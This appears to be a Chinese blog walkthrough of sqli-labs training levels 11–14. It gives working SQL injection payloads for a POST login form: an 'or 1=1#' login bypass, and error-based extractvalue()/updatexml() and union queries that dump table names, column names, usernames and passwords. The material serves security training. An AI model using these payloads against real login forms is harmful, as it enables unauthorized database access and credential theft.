SQL注入sqli_labs靶场第十一、十二、十三、十四题详解

第十一题

方法一

poss提交

输入1显示登录失败

输入1' 显示报错信息

根据提示得知:SQL查询语句为 username='参数' and password=''

and是与运算;两个或多个条件同时满足,才为真(显示一条数据)

or是或运算,两个或多个条件满足其中一个即为真(显示一条数据)

此处只能用1' or 1=1# 不能用and,因为不知道username,username='1'恒为假

并且只能用#,用--+无效

1' or 1=1# 页面正常显示

1' or 1=2# 页面报错

说明SQL语句正确

后续步骤使用联合注入

方法二

登录界面,Burpsuite抓包尝试

输入1',提示报错、单引号注入

使用报错注入的方法:extractvalue()

1'order by 2 判断列数

1'union select 1,extractvalue(1,concat(0x7e,database()))%23 爆版本号、数据库名、权限等

1'union select 1,extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 1,1)))%23 爆表名

1'union select 1,extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1)))%23 爆列名

1'union select 1,extractvalue(1,concat(0x7e,(select username from users limit 0,1)))%23

1'union select 1,extractvalue(1,concat(0x7e,(select password from users limit 0,1)))%23 爆账号密码

或者1'union select username,password from users limit 1,1 %23

使用报错注入的方法:updatexml()

1'order by 2 判断列数

1'union select 1,updatexml(1,concat(0x7e,database()),1)%23 爆版本号、数据库名、权限等

1'union select 1,updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 1,1)),1)%23 爆表名

1'union select 1,updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1)),1)%23 爆列名

1'union select 1,updatexml(1,concat(0x7e,(select username from users limit 0,1)),1)%23

1'union select 1,updatexml(1,concat(0x7e,(select password from users limit 0,1)),1)%23 爆账号密码

或者1'union select username,password from users limit 1,1 %23

第十二题

输入1 和 1' 页面没反应 输入1" 页面出现报错信息,提示是双引号带括号注入

猜解步骤与第十一题相同

第十三题

输入1' 出现报错信息,提示是单引号带括号注入

猜解步骤与第十一题相同

第十四题

输入1",出现报错信息,提示是双引号注入

猜解步骤与第十一题相同

相关推荐
KING BOB!!!3 小时前
Leetcode高频 SQL 50 题(基础版)题目记录
sql·mysql·算法·leetcode
墨染 殇雪5 小时前
文件上传漏洞基础及挖掘流程
网络安全·漏洞分析·漏洞挖掘·安全机制
网络安全大学堂6 小时前
【网络安全入门基础教程】网络安全零基础学习方向及需要掌握的技能
网络·学习·安全·web安全·网络安全·黑客
NineData6 小时前
NineData发布 Oracle 到 MySQL 双向实时复制,助力去 O 战略与数据回流
mysql·阿里云·oracle·ninedata·数据库迁移·数据复制·双向复制
皆过客,揽星河7 小时前
mysql初学者练习题(从基础到进阶,相关数据sql脚本在最后)
数据库·sql·mysql·oracle·mysql基础练习·mysql基础语法·数据库练习题
君君思密达8 小时前
网络安全初级-渗透测试
安全·网络安全
AI小小怪8 小时前
在linux下使用MySQL常用的命令集合
linux·数据库·mysql·oracle
网安INF9 小时前
【论文阅读】-《Besting the Black-Box: Barrier Zones for Adversarial Example Defense》
人工智能·深度学习·网络安全·黑盒攻击
XYiFfang11 小时前
【mysql】SQL自连接实战:查询温度升高的日期
数据库·sql·mysql
四季豆豆豆15 小时前
办公任务分发项目 laravel vue mysql 第一章:核心功能构建 API
vue.js·mysql·laravel